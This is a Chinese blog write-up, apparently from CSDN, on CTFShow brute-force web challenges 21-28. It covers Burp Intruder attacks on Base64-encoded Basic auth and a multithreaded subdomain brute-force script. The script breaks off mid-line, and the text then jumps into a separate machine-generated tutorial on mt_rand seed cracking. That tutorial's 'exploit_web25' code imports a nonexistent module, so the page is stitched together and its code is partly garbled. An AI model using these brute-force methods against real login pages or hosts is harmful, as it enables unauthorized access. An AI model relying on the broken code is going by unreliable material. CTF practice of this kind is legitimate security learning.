CTFSHOW web入门 爆破 21-28

本文详细介绍了CTFSHOW中关于Web爆破的21至28题的解题思路,包括利用Base64解码、Burpsuite截断流量分析、自定义payload、字典爆破、Python多线程、PHP伪随机数预测等技术,强调了实践、资源管理和字典保存的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CTFSHOW 爆破 [21-28]

Web21

在这里插入图片描述

  • 可以看到 SELECTED TEXT -> DECODED FROM 用Base64解码

    账号密码的格式是 [username]:[password]

    所以我们可以用 intruder模块里面的自定义payload

在这里插入图片描述

  • position 1: admin

    position 2: ( : ) 是冒号,不需要用括号哈(方便看清楚)

    position 3: 可以用题目的字典(其实字典才是最重要)

    payload processing 使用Base64-encode

在这里插入图片描述

取消勾选
在这里插入图片描述

  • 记得resource pool 线程调低一点 不然一直报503(服务器也不容易 经常被爆破资源)

在这里插入图片描述
爆出来了
在这里插入图片描述
总结:

  1. 用Burpsuite 截断流量 分析账号与密码发送的形势
  2. 用Base64解密 查看payload的结构
  3. 用intruder模块 自定义payload
  4. 要养成储存字典的习惯 写一题存一个字典 以后可能会有用

Web22

import requests
import io
import threading

from requests.sessions import session

url1 = "https://{}.ctf.show/index.php"
dict = []

# print(requests.get(url1).status_code)
def intruder(payload):
    url1 = url1.format(payload)
    res = requests.get(url1)
    if res.status_code == 200:
        print(url1)

if __name__ == '__main__':
    with open('dict.txt','r') as f:
        lines = f.readlines
        for line in lines:
            dict.append(line.strip('\n'))
    f.close()

    threads = []
    for payload in dict:
        threads.append(
            threading.Thread(target=intruder,args=
### CTFShow Web 安全入门爆破攻击教程 #### 理解目标环境 在CTFShow平台上进行Web安全入门级别的爆破攻击练习,通常涉及识别并利用网站中的漏洞来获取敏感信息或访问权限。这类题目旨在帮助参与者理解常见的Web应用安全隐患以及如何防御这些威胁。 #### 实践案例分析 对于编号为2128的一系列挑战,在处理`web25`时遇到了特定于PHP函数`mt_rand()`的行为模式[^1]。此部分重点在于掌握伪随机数生成器(Pseudo-Random Number Generator, PRNG)的工作原理及其潜在弱点。由于`php_mt_seed`工具能够破解基于线性同余法实现的Mersenne Twister算法所使用的种子值,因此可以用来辅助解决此类问题。 当面对`web26`这样的实例,则需注意到目录结构异常的情况[^2]。通过移除不必要的文件路径组件(如`2.txt`),再次尝试探测服务器上的其他可能存在的隐藏资源,最终成功定位到标志位(flag)所在位置。 针对更复杂的场景比如`web27`和后续任务,会涉及到参数传递机制下的逻辑验证绕过技巧[^3]。具体来说就是确保提交给应用程序的数据满足其内部设定条件的同时又能触发预期之外的结果——例如使两个由`mt_rand()`产生的数值之和等于预设令牌(token),即使它们本身并不相同。 #### 技术要点总结 - **PRNG预测**:学习使用专门设计用于逆向工程MT风格RNGs的软件包。 - **目录遍历/枚举**:运用自动化脚本批量测试URL端点直至找到有价值的响应。 - **输入操控**:精心构造POST请求体内的字段组合以达成特定功能调用效果。 ```python import requests from php_mt_seed import * def exploit_web25(url): # 获取当前时间戳作为初始猜测起点 timestamp = int(time.time()) while True: try: seed = find_seed(timestamp) break except ValueError: timestamp -= 1 r = requests.post(url, data={'r': str(seed)}) print(r.text) if __name__ == '__main__': target_url = 'http://example.com/challenge' exploit_web25(target_url) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值